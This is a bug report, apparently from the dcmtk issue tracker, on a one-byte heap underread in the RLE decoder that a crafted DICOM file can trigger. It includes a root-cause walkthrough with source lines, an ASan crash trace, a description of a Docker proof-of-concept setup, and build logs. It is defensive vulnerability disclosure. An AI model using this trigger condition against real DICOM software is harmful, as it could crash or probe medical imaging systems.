Bug #1237
closedDcmRLECodecDecoder::decodeFrame() out of bounds access
Added by Michael Onken about 6 hours ago. Updated about 5 hours ago.
0%
Description
Summary¶
DcmRLECodecDecoder::decodeFrame reads one byte before a heap allocation when the last RLE stripe decompresses to zero bytes. The read at line 740 (*(outputBuffer - 1)) uses outputBuffer pointing to the base of outputBuffer_, so the access lands one byte before the heap block.
Reachable via local (attacker supplies a crafted DICOM file with an RLE-encoded pixel-data segment whose last stripe compresses to zero decoded bytes -- byteOffset == fragmentLength after the last stripe's data).
Affected version¶
- Target: dcmtk 3.7.0+DEV
- Commit read:
7246c5a9ca64c2d4312774bf40d046e255c00a41 - Bug is in library code (
src/).
Crash¶
ASan: heap-buffer-overflow, read of size 1.
Crash site: dcmdata/libsrc/dcrleccd.cc:740 in DcmRLECodecDecoder::decodeFrame.
Root cause¶
After each stripe the loop at lines 734-738 advances outputBuffer by decoderSize bytes. When decoderSize is 0, outputBuffer still equals getOutputBuffer() (the raw base of the allocation). Line 740 then reads *(outputBuffer - 1) unconditionally to seed a fill loop, producing a 1-byte underread of the heap block.
dcmdata/libsrc/dcrleccd.cc:689
bc(c). if (lastStripeOfColor && (rledecoder.size() < bytesPerStripe))
The guard above logs a warning and continues -- it does not prevent reaching line 740.
dcmdata/libsrc/dcrleccd.cc:707
bc(c). outputBuffer = OFstatic_cast(Uint8 *, rledecoder.getOutputBuffer());
dcmdata/libsrc/dcrleccd.cc:733
bc(c). const size_t decoderSize = rledecoder.size();
dcmdata/libsrc/dcrleccd.cc:734
bc(c). for (pixel = 0; pixel < decoderSize; ++pixel)
dcmdata/libsrc/dcrleccd.cc:736
bc(c). *pixelPointer = *outputBuffer++;
dcmdata/libsrc/dcrleccd.cc:740
bc(c). const Uint8 lastPixelValue = *(outputBuffer - 1);
dcmdata/include/dcmtk/dcmdata/dcrledec.h:49
bc(c). outputBuffer_ = new unsigned char[outputBufferSize_];
decompress() returns EC_Normal for zero compressed bytes (dcrledec.h:74), leaving offset_==0 and fail_==0, so size()==0 and getOutputBuffer() returns the base pointer unchanged.
dcmdata/include/dcmtk/dcmdata/dcrledec.h:74
bc(c). if (compressedSize == 0) return EC_Normal;
dcmdata/include/dcmtk/dcmdata/dcrledec.h:179
bc(c). inline void *getOutputBuffer() const
dcmdata/include/dcmtk/dcmdata/dcrledec.h:181
bc(c). return outputBuffer_;
Reproduction¶
Call path:
bc. DcmFileFormat::loadFile() [dcmdata/libsrc/dcfilefo.cc]
DcmDataset::read() [dcmdata/libsrc/dcdatset.cc]
DcmPixelData::decode() [dcmdata/libsrc/dcpixel.cc]
DcmRLECodecDecoder::decodeFrame() [dcmdata/libsrc/dcrleccd.cc:740]
Reproduction status: yes (full-poc) - ASan heap-buffer-overflow READ at dcrleccd.cc:740; see poc/poc_dcmtk-rle-lastpixel-heap-underread/asan.txt.
Proof of Concept¶
Self-contained. docker build clones the target at the pinned commit and builds it under AddressSanitizer + UndefinedBehaviorSanitizer; docker run feeds the crafted input and reproduces the fault. Save the files below into a poc/ directory and:
bc. docker build -t poc . && docker run --rm poc
Sanitizer outputSanitizer output
[poc] calling getUncompressedFrame (RLE decodeFrame)...
W: RLE decoder is finished but has produced insufficient data for this stripe, filling remaining pixels
=================================================================
==3747763==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5020000df6cf at pc 0x55596ccd4c43 bp 0x7fff1449f650 sp 0x7fff1449f648
READ of size 1 at 0x5020000df6cf thread T0
#0 0x55596ccd4c42 in DcmRLECodecDecoder::decodeFrame(DcmRepresentationParameter const*, DcmPixelSequence*, DcmCodecParameter const*, DcmItem*, unsigned int, unsigned int&, void*, unsigned int, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&) const /work/targets/dcmtk/dcmdata/libsrc/dcrleccd.cc:740
#1 0x55596cbb0997 in DcmCodecList::decodeFrame(DcmXfer const&, DcmRepresentationParameter const*, DcmPixelSequence*, DcmItem*, unsigned int, unsigned int&, void*, unsigned int, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&) /work/targets/dcmtk/dcmdata/libsrc/dccodec.cc:509
#2 0x55596c927d7b in DcmPixelData::getUncompressedFrame(DcmItem*, unsigned int, unsigned int&, void*, unsigned int, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&, DcmFileCache*) /work/targets/dcmtk/dcmdata/libsrc/dcpixel.cc:1233
#3 0x55596c7b6f84 in main /home/f0rw4rd/pro/gff-cw/poc/poc_dcmtk-rle-lastpixel-heap-underread/harness.cc:119
0x5020000df6cf is located 1 bytes before 16-byte region [0x5020000df6d0,0x5020000df6e0)
allocated by thread T0 here:
#0 0x7fe7e32f58d8 in operator new[](unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:98
#1 0x55596cccd4c5 in DcmRLEDecoder::DcmRLEDecoder(unsigned long) /work/targets/dcmtk/dcmdata/include/dcmtk/dcmdata/dcrledec.h:49
#2 0x55596cccd4c5 in DcmRLECodecDecoder::decodeFrame(DcmRepresentationParameter const*, DcmPixelSequence*, DcmCodecParameter const*, DcmItem*, unsigned int, unsigned int&, void*, unsigned int, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&) const /work/targets/dcmtk/dcmdata/libsrc/dcrleccd.cc:554
#3 0x55596cbb0997 in DcmCodecList::decodeFrame(DcmXfer const&, DcmRepresentationParameter const*, DcmPixelSequence*, DcmItem*, unsigned int, unsigned int&, void*, unsigned int, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&) /work/targets/dcmtk/dcmdata/libsrc/dccodec.cc:509
#4 0x55596c927d7b in DcmPixelData::getUncompressedFrame(DcmItem*, unsigned int, unsigned int&, void*, unsigned int, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&, DcmFileCache*) /work/targets/dcmtk/dcmdata/libsrc/dcpixel.cc:1233
#5 0x55596c7b6f84 in main /home/f0rw4rd/pro/gff-cw/poc/poc_dcmtk-rle-lastpixel-heap-underread/harness.cc:119
SUMMARY: AddressSanitizer: heap-buffer-overflow /work/targets/dcmtk/dcmdata/libsrc/dcrleccd.cc:740 in DcmRLECodecDecoder::decodeFrame(DcmRepresentationParameter const*, DcmPixelSequence*, DcmCodecParameter const*, DcmItem*, unsigned int, unsigned int&, void*, unsigned int, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&) const
Shadow bytes around the buggy address:
0x5020000df400: fa fa 00 05 fa fa 02 fa fa fa 02 fa fa fa 02 fa
0x5020000df480: fa fa 02 fa fa fa 03 fa fa fa 00 fa fa fa 00 00
0x5020000df500: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x5020000df580: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x5020000df600: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
=>0x5020000df680: fa fa fd fd fa fa fd fd fa[fa]00 00 fa fa fa fa
0x5020000df700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x5020000df780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x5020000df800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x5020000df880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x5020000df900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==3747763==ABORTING
.dockerignore (crafted input).dockerignore (crafted input)
- The image rebuilds everything from a clean upstream clone.
dcmtk-build/
build-asan/
harness
.o
.a
build.log
*.poc.zip
build.log (crafted input)build.log (crafted input)
bc(text). -- The C compiler identification is GNU 14.2.0
-- The CXX compiler identification is GNU 14.2.0
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Check for working C compiler: /usr/bin/cc - skipped
-- Detecting C compile features
-- Detecting C compile features - done
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Check for working CXX compiler: /usr/bin/c++ - skipped
-- Detecting CXX compile features
-- Detecting CXX compile features - done
-- Warning: WRAP support will be disabled because libwrap was not found.
-- Performing Test WITH_STDLIBC_ICONV
-- Performing Test WITH_STDLIBC_ICONV - Success
-- Info: found builtin ICONV support inside the C standard library.
-- Warning: DOXYGEN support will be disabled because doxygen was not found.
-- Performing Test LIBICONV_SECOND_ARGUMENT_CONST
-- Performing Test LIBICONV_SECOND_ARGUMENT_CONST - Failed
-- Info: DCMTK will compile with external default dictionary
-- Info: DCMTK will load dictionaries defined by DCMDICTPATH environment variable
-- Info: DCMTK's builtin private dictionary support will be disabled
-- Info: Thread support will be enabled
-- Info: Wide char file I/O functions will be disabled
-- Info: Wide char main function for command line tools will be disabled
-- Info: Building DCMTK with character set conversion support using built-in oficonv module
-- Looking for sys/types.h
-- Looking for sys/types.h - found
-- Looking for stdint.h
-- Looking for stdint.h - found
-- Looking for stddef.h
-- Looking for stddef.h - found
-- Check size of int
-- Check size of int - done
-- Check size of long
-- Check size of long - done
-- Check size of void*
-- Check size of void* - done
-- Looking for FUNCTION
-- Looking for FUNCTION - found
-- Looking for FUNCTION
-- Looking for FUNCTION - found
-- Looking for PRETTY_FUNCTION
-- Looking for PRETTY_FUNCTION - found
-- Looking for PRETTY_FUNCTION
-- Looking for PRETTY_FUNCTION - found
-- Looking for func
-- Looking for func - found
-- Looking for func
-- Looking for func - found
-- Looking for C++ include alloca.h
-- Looking for C++ include alloca.h - found
-- Looking for C++ include arpa/inet.h
-- Looking for C++ include arpa/inet.h - found
-- Looking for C++ include cstdint
-- Looking for C++ include cstdint - found
-- Looking for C++ include dirent.h
-- Looking for C++ include dirent.h - found
-- Looking for C++ include err.h
-- Looking for C++ include err.h - found
-- Looking for C++ include fnmatch.h
-- Looking for C++ include fnmatch.h - found
-- Looking for C++ include grp.h
-- Looking for C++ include grp.h - found
-- Looking for C++ include ieeefp.h
-- Looking for C++ include ieeefp.h - not found
-- Looking for C++ include io.h
-- Looking for C++ include io.h - not found
-- Looking for C++ include langinfo.h
-- Looking for C++ include langinfo.h - found
-- Looking for C++ include libc.h
-- Looking for C++ include libc.h - not found
-- Looking for C++ include mqueue.h
-- Looking for C++ include mqueue.h - found
-- Looking for C++ include netdb.h
-- Looking for C++ include netdb.h - found
-- Looking for C++ include png.h
-- Looking for C++ include png.h - not found
-- Looking for C++ include process.h
-- Looking for C++ include process.h - not found
-- Looking for C++ include pthread.h
-- Looking for C++ include pthread.h - found
-- Looking for C++ include pwd.h
-- Looking for C++ include pwd.h - found
-- Looking for C++ include semaphore.h
-- Looking for C++ include semaphore.h - found
-- Looking for C++ include strings.h
-- Looking for C++ include strings.h - found
-- Looking for C++ include synch.h
-- Looking for C++ include synch.h - not found
-- Looking for C++ include sys/dir.h
-- Looking for C++ include sys/dir.h - found
-- Looking for C++ include sys/errno.h
-- Looking for C++ include sys/errno.h - found
-- Looking for C++ include sys/file.h
-- Looking for C++ include sys/file.h - found
-- Looking for C++ include sys/mman.h
-- Looking for C++ include sys/mman.h - found
-- Looking for C++ include sys/msg.h
-- Looking for C++ include sys/msg.h - found
-- Looking for C++ include sys/param.h
-- Looking for C++ include sys/param.h - found
-- Looking for C++ include sys/queue.h
-- Looking for C++ include sys/queue.h - found
-- Looking for C++ include sys/resource.h
-- Looking for C++ include sys/resource.h - found
-- Looking for C++ include sys/select.h
-- Looking for C++ include sys/select.h - found
-- Looking for C++ include sys/socket.h
-- Looking for C++ include sys/socket.h - found
-- Looking for C++ include sys/syscall.h
-- Looking for C++ include sys/syscall.h - found
-- Looking for C++ include sys/systeminfo.h
-- Looking for C++ include sys/systeminfo.h - not found
-- Looking for C++ include sys/time.h
-- Looking for C++ include sys/time.h - found
-- Looking for C++ include sys/timeb.h
-- Looking for C++ include sys/timeb.h - found
-- Looking for C++ include sys/un.h
-- Looking for C++ include sys/un.h - found
-- Looking for C++ include sys/utime.h
-- Looking for C++ include sys/utime.h - not found
-- Looking for C++ include sys/utsname.h
-- Looking for C++ include sys/utsname.h - found
-- Looking for C++ include sys/wait.h
-- Looking for C++ include sys/wait.h - found
-- Looking for C++ include syslog.h
-- Looking for C++ include syslog.h - found
-- Looking for C++ include thread.h
-- Looking for C++ include thread.h - not found
-- Looking for C++ include unistd.h
-- Looking for C++ include unistd.h - found
-- Looking for C++ include unix.h
-- Looking for C++ include unix.h - not found
-- Looking for C++ include utime.h
-- Looking for C++ include utime.h - found
-- Looking for C++ include poll.h
-- Looking for C++ include poll.h - found
-- Looking for include files sys/types.h, netinet/in_systm.h
-- Looking for include files sys/types.h, netinet/in_systm.h - found
-- Looking for 3 include files sys/types.h, ..., netinet/in.h
-- Looking for 3 include files sys/types.h, ..., netinet/in.h - found
-- Looking for 4 include files sys/types.h, ..., netinet/tcp.h
-- Looking for 4 include files sys/types.h, ..., netinet/tcp.h - found
-- Looking for C++ include libpng/png.h
-- Looking for C++ include libpng/png.h - not found
-- Looking for _findfirst
-- Looking for _findfirst - not found
-- Looking for _set_output_format
-- Looking for _set_output_format - not found
-- Looking for atoll
-- Looking for atoll - found
-- Looking for cuserid
-- Looking for cuserid - found
-- Looking for fgetln
-- Looking for fgetln - not found
-- Looking for flock
-- Looking for flock - found
-- Looking for fork
-- Looking for fork - found
-- Looking for fseeko
-- Looking for fseeko - found
-- Looking for ftime
-- Looking for ftime - found
-- Looking for geteuid
-- Looking for geteuid - found
-- Looking for getgrnam
-- Looking for getgrnam - found
-- Looking for gethostbyaddr_r
-- Looking for gethostbyaddr_r - found
-- Looking for gethostbyname_r
-- Looking for gethostbyname_r - found
-- Looking for gethostid
-- Looking for gethostid - found
-- Looking for getlogin
-- Looking for getlogin - found
-- Looking for getlogin_r
-- Looking for getlogin_r - found
-- Looking for getpwnam
-- Looking for getpwnam - found
-- Looking for gettimeofday
-- Looking for gettimeofday - found
-- Looking for getuid
-- Looking for getuid - found
-- Looking for gmtime_r
-- Looking for gmtime_r - found
-- Looking for localtime_r
-- Looking for localtime_r - found
-- Looking for lockf
-- Looking for lockf - found
-- Looking for lstat
-- Looking for lstat - found
-- Looking for malloc_debug
-- Looking for malloc_debug - not found
-- Looking for mkstemp
-- Looking for mkstemp - found
-- Looking for nanosleep
-- Looking for nanosleep - found
-- Looking for setuid
-- Looking for setuid - found
-- Looking for sleep
-- Looking for sleep - found
-- Looking for strlcat
-- Looking for strlcat - found
-- Looking for strlcpy
-- Looking for strlcpy - found
-- Looking for sysinfo
-- Looking for sysinfo - found
-- Looking for uname
-- Looking for uname - found
-- Looking for usleep
-- Looking for usleep - found
-- Looking for waitpid
-- Looking for waitpid - found
-- Looking for strcasestr
-- Looking for strcasestr - found
-- Looking for prototype of flock
-- Looking for prototype of flock - found
-- Looking for prototype of gethostbyname_r
-- Looking for prototype of gethostbyname_r - found
-- Looking for prototype of gethostbyaddr_r
-- Looking for prototype of gethostbyaddr_r - found
-- Looking for prototype of gethostid
-- Looking for prototype of gethostid - found
-- Looking for prototype of waitpid
-- Looking for prototype of waitpid - found
-- Looking for prototype of usleep
-- Looking for prototype of usleep - found
-- Looking for prototype of _vsnprintf_s
-- Looking for prototype of _vsnprintf_s - not found.
-- Looking for prototype of vfprintf_s
-- Looking for prototype of vfprintf_s - not found.
-- Looking for prototype of vsprintf_s
-- Looking for prototype of vsprintf_s - not found.
-- Looking for prototype of std::vsnprintf
-- Looking for prototype of std::vsnprintf - found
-- Looking for prototype of _stricmp
-- Looking for prototype of _stricmp - not found.
-- Looking for prototype of gettimeofday
-- Looking for prototype of gettimeofday - found
-- Looking for prototype of strcasecmp
-- Looking for prototype of strcasecmp - found
-- Looking for prototype of strncasecmp
-- Looking for prototype of strncasecmp - found
-- Looking for prototype of strerror_r
-- Looking for prototype of strerror_r - found
-- Looking for prototype of SYS_gettid
-- Looking for prototype of SYS_gettid - found
-- Looking for prototype of pthread_rwlock_init
-- Looking for prototype of pthread_rwlock_init - found
-- Looking for prototype of sync_add_and_fetch((int*)0,0)
-- Looking for prototype of __sync_add_and_fetch((int*)0,0) - found
-- Looking for prototype of __sync_sub_and_fetch((int*)0,0)
-- Looking for prototype of __sync_sub_and_fetch((int*)0,0) - found
-- Looking for prototype of InterlockedIncrement((long*)0)
-- Looking for prototype of InterlockedIncrement((long*)0) - not found.
-- Looking for prototype of InterlockedDecrement((long*)0)
-- Looking for prototype of InterlockedDecrement((long*)0) - not found.
-- Looking for prototype of getgrnam_r((char*)0,(group*)0,(char*)0,0,(group**)0)
-- Looking for prototype of getgrnam_r((char*)0,(group*)0,(char*)0,0,(group**)0) - found
-- Looking for prototype of getpwnam_r((char*)0,(passwd*)0,(char*)0,0,(passwd**)0)
-- Looking for prototype of getpwnam_r((char*)0,(passwd*)0,(char*)0,0,(passwd**)0) - found
-- Looking for prototype of readdir_r((DIR*)0,(dirent*)0,(dirent**)0)
-- Looking for prototype of readdir_r((DIR*)0,(dirent*)0,(dirent**)0) - found
-- Looking for prototype of readdir_r((DIR*)0,(dirent*)0)
-- Looking for prototype of readdir_r((DIR*)0,(dirent*)0) - not found.
-- Looking for prototype of &passwd::pw_gecos
-- Looking for prototype of &passwd::pw_gecos - found
-- Looking for prototype of TryAcquireSRWLockShared((PSRWLOCK)0)
-- Looking for prototype of TryAcquireSRWLockShared((PSRWLOCK)0) - not found.
-- Looking for prototype of long long definition
-- Looking for prototype of long long definition - found
-- Looking for prototype of unsigned long long definition
-- Looking for prototype of unsigned long long definition - found
-- Looking for prototype of int64_t definition
-- Looking for prototype of int64_t definition - found
-- Looking for prototype of uint64_t definition
-- Looking for prototype of uint64_t definition - found
-- Looking for prototype of char16_t definition
-- Looking for prototype of char16_t definition - found
-- Looking for prototype of fpos64_t definition
-- Looking for prototype of fpos64_t definition - found
-- Looking for prototype of off64_t definition
-- Looking for prototype of off64_t definition - found
-- Looking for prototype of popen
-- Looking for prototype of popen - found
-- Looking for prototype of pclose
-- Looking for prototype of pclose - found
-- Checking signedness of char
-- Checking whether char is signed
-- Checking whether char is signed -- yes
-- Checking signedness of char -- signed
-- Checking whether pthread_t is an integer type
-- Checking whether pthread_t is an integer type -- yes
-- Checking whether ENAMETOOLONG is defined
-- Checking whether ENAMETOOLONG is defined -- yes
-- Checking whether strerror_r returns an int
-- Checking whether strerror_r returns an int -- no
-- Checking whether variable length arrays are supported
-- Checking whether variable length arrays are supported -- yes
-- Checking whether explicit large file support (LFS64) is available
-- Checking whether explicit large file support (LFS64) is available -- yes
-- Info: Building DCMTK with explicit large file support (LFS64)
-- Checking whether __alignof is supported
-- Checking whether alignof is supported -- yes
-- Checking whether alignof is supported
-- Checking whether __alignof is supported -- yes
-- Checking whether __attribute((aligned)) is supported
-- Checking whether attribute((aligned)) is supported -- yes
-- Checking whether attribute((aligned)) supports templates
-- Checking whether attribute((aligned)) supports templates -- yes
-- Checking whether declspec(align) is supported
-- Checking whether __declspec(align) is supported -- no
-- Checking whether the compiler supports default constructor detection via SFINAE
-- Checking whether the compiler supports default constructor detection via SFINAE -- yes
-- Checking whether the compiler supports static_assert
-- Checking whether the compiler supports static_assert -- yes
-- Checking whether the compiler supports deprecated
-- Checking whether the compiler supports deprecated -- yes
-- Checking whether the compiler supports deprecated("message")
-- Checking whether the compiler supports deprecated("message") -- yes
-- Checking whether the compiler supports __attribute((deprecated))
-- Checking whether the compiler supports attribute((deprecated)) -- yes
-- Checking whether the compiler supports attribute((deprecated("message")))
-- Checking whether the compiler supports attribute((deprecated("message"))) -- yes
-- Checking whether the compiler supports __declspec(deprecated)
-- Checking whether the compiler supports __declspec(deprecated) -- no
-- Checking whether the compiler supports __declspec(deprecated("message"))
-- Checking whether the compiler supports __declspec(deprecated("message")) -- no
-- Detecting fixed iconv conversion flags
-- Detecting fixed iconv conversion flags - AbortTranscodingOnIllegalSequence
-- Checking whether iconv_open() accepts "" as an argument
-- Checking whether iconv_open() accepts "" as an argument - no
-- Checking whether pw_gecos is #defined to pw_passwd
-- Checking whether pw_gecos is #defined to pw_passwd -- no
-- Checking whether the compiler supports C++11
-- Checking whether the compiler supports C++11 -- yes
-- Info: C++11 features enabled
-- Info: C++14 features disabled
-- Info: C++17 features disabled
-- Info: C++20 features disabled
-- Info: STL algorithm support enabled
-- Info: STL atomic support enabled
-- Info: STL list support enabled
-- Info: STL map support enabled
-- Info: STL memory support enabled
-- Info: STL stack support enabled
-- Info: STL string support enabled
-- Info: STL system_error support enabled
-- Info: STL tuple support enabled
-- Info: STL type_traits support enabled
-- Info: STL vector support enabled
-- Looking for pthread_key_create in pthread
-- Looking for pthread_key_create in pthread - found
-- Looking for mq_open in rt
-- Looking for mq_open in rt - found
-- Could NOT find BISON (missing: BISON_EXECUTABLE)
-- Could NOT find FLEX (missing: FLEX_EXECUTABLE)
-- Configuring done (21.6s)
-- Generating done (0.1s)
-- Build files have been written to: /home/f0rw4rd/pro/gff-cw/targets/dcmtk/build-asan
[ 1%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_db_hash.c.o
[ 1%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_csmapper.c.o
[ 1%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_db_factory.c.o
[ 2%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_bcs_strtoul.c.o
[ 2%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_bcs_strtol.c.o
[ 2%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_big5.c.o
[ 3%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_db.c.o
[ 3%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_dechanyu.c.o
[ 3%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_bcs.c.o
[ 3%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_esdb.c.o
[ 3%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_euctw.c.o
[ 4%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_euc.c.o
[ 4%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_gbk2k.c.o
[ 4%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_hz.c.o
[ 5%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_hash.c.o
[ 5%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_iconv.c.o
[ 6%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_iconv_none.c.o
[ 7%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_iconv_std.c.o
[ 7%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_iso2022.c.o
[ 7%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_jisx0208.c.o
[ 7%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_johab.c.o
[ 8%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_lookup.c.o
[ 8%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_lookup_factory.c.o
[ 8%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_mapper_646.c.o
[ 9%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_mapper.c.o
[ 9%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_mapper_none.c.o
[ 10%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_mapper_serial.c.o
[ 10%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_mapper_std.c.o
[ 10%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_mapper_zone.c.o
[ 11%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_memstream.c.o
[ 11%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_mmap.c.o
[ 11%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_module.c.o
[ 12%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_mskanji.c.o
[ 12%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_none.c.o
[ 12%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_pivot_factory.c.o
[ 13%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_prop.c.o
[ 13%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_stdenc.c.o
[ 14%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_ues.c.o
[ 14%] Building C object oficonv/libsrc/CMakeFiles/oficonv.dir/citrus_utf1632.c.o
... (215 more lines; full file in poc/build.log)
docker_build.log (crafted input)docker_build.log (crafted input)
#0 building with "default" instance using docker driver #1 [internal] load build definition from Dockerfile #1 transferring dockerfile: 1.89kB done #1 DONE 0.0s #2 [internal] load metadata for docker.io/library/ubuntu:24.04 #2 DONE 0.1s #3 [1/6] FROM docker.io/library/ubuntu:24.04@sha256:786a8b558f7be160c6c8c4a54f9a57274f3b4fb1491cf65146521ae77ff1dc54 #3 resolve docker.io/library/ubuntu:24.04@sha256:786a8b558f7be160c6c8c4a54f9a57274f3b4fb1491cf65146521ae77ff1dc54 0.2s done #3 CACHED #4 [2/6] RUN apt-get update && apt-get install -y --no-install-recommends git ca-certificates g++ gcc libasan8 libubsan1 cmake make && rm -rf /var/lib/apt/lists/* #4 1.039 Get:1 http://security.ubuntu.com/ubuntu noble-security InRelease [126 kB] #4 1.140 Get:2 http://archive.ubuntu.com/ubuntu noble InRelease [256 kB] #4 1.408 Get:3 http://security.ubuntu.com/ubuntu noble-security/universe amd64 Packages [1490 kB] #4 1.521 Get:4 http://security.ubuntu.com/ubuntu noble-security/main amd64 Packages [1010 kB] #4 1.565 Get:5 http://security.ubuntu.com/ubuntu noble-security/multiverse amd64 Packages [43.8 kB] #4 1.567 Get:6 http://security.ubuntu.com/ubuntu noble-security/restricted amd64 Packages [1411 kB] #4 1.665 Get:7 http://archive.ubuntu.com/ubuntu noble-updates InRelease [126 kB] #4 2.040 Get:8 http://archive.ubuntu.com/ubuntu noble-backports InRelease [126 kB] #4 2.099 Get:9 http://archive.ubuntu.com/ubuntu noble/multiverse amd64 Packages [331 kB] #4 2.126 Get:10 http://archive.ubuntu.com/ubuntu noble/main amd64 Packages [1808 kB] #4 2.207 Get:11 http://archive.ubuntu.com/ubuntu noble/universe amd64 Packages [19.3 MB] #4 2.716 Get:12 http://archive.ubuntu.com/ubuntu noble/restricted amd64 Packages [117 kB] #4 2.716 Get:13 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 Packages [1334 kB] #4 2.750 Get:14 http://archive.ubuntu.com/ubuntu noble-updates/universe amd64 Packages [2111 kB] #4 2.804 Get:15 http://archive.ubuntu.com/ubuntu noble-updates/restricted amd64 Packages [1490 kB] #4 2.847 Get:16 http://archive.ubuntu.com/ubuntu noble-updates/multiverse amd64 Packages [49.5 kB] #4 2.847 Get:17 http://archive.ubuntu.com/ubuntu noble-backports/main amd64 Packages [48.9 kB] #4 2.848 Get:18 http://archive.ubuntu.com/ubuntu noble-backports/universe amd64 Packages [35.9 kB] #4 2.848 Get:19 http://archive.ubuntu.com/ubuntu noble-backports/multiverse amd64 Packages [671 B] #4 3.350 Fetched 31.2 MB in 2s (12.7 MB/s) #4 3.350 Reading package lists... #4 4.025 Reading package lists... #4 4.680 Building dependency tree... #4 4.861 Reading state information... #4 5.035 The following additional packages will be installed: #4 5.035 binutils binutils-common binutils-x86-64-linux-gnu cmake-data cpp cpp-13 #4 5.035 cpp-13-x86-64-linux-gnu cpp-x86-64-linux-gnu g++-13 g++-13-x86-64-linux-gnu #4 5.035 g++-x86-64-linux-gnu gcc-13 gcc-13-base gcc-13-x86-64-linux-gnu #4 5.035 gcc-x86-64-linux-gnu git-man libarchive13t64 libatomic1 libbinutils #4 5.035 libbrotli1 libc-dev-bin libc6-dev libcc1-0 libcrypt-dev libctf-nobfd0 #4 5.035 libctf0 libcurl3t64-gnutls libcurl4t64 liberror-perl libexpat1 libgcc-13-dev #4 5.035 libgdbm-compat4t64 libgdbm6t64 libgomp1 libgprofng0 libgssapi-krb5-2 #4 5.035 libhwasan0 libicu74 libisl23 libitm1 libjansson4 libjsoncpp25 libk5crypto3 #4 5.035 libkeyutils1 libkrb5-3 libkrb5support0 libldap2 liblsan0 libmpc3 libmpfr6 #4 5.036 libnghttp2-14 libperl5.38t64 libpsl5t64 libquadmath0 librhash0 librtmp1 #4 5.036 libsasl2-2 libsasl2-modules-db libsframe1 libssh-4 libssl3t64 #4 5.036 libstdc++-13-dev libtsan2 libuv1t64 libxml2 linux-libc-dev openssl perl #4 5.036 perl-base perl-modules-5.38 rpcsvc-proto #4 5.036 Suggested packages: #4 5.036 binutils-doc gprofng-gui cmake-doc cmake-format elpa-cmake-mode ninja-build #4 5.036 cpp-doc gcc-13-locales cpp-13-doc g++-multilib g++-13-multilib gcc-13-doc #4 5.036 gcc-multilib manpages-dev autoconf automake libtool flex bison gdb gcc-doc #4 5.036 gcc-13-multilib gdb-x86-64-linux-gnu gettext-base git-daemon-run #4 5.036 | git-daemon-sysvinit git-doc git-email git-gui gitk gitweb git-cvs #4 5.036 git-mediawiki git-svn lrzip glibc-doc gdbm-l10n krb5-doc krb5-user #4 5.036 libstdc++-13-doc make-doc perl-doc 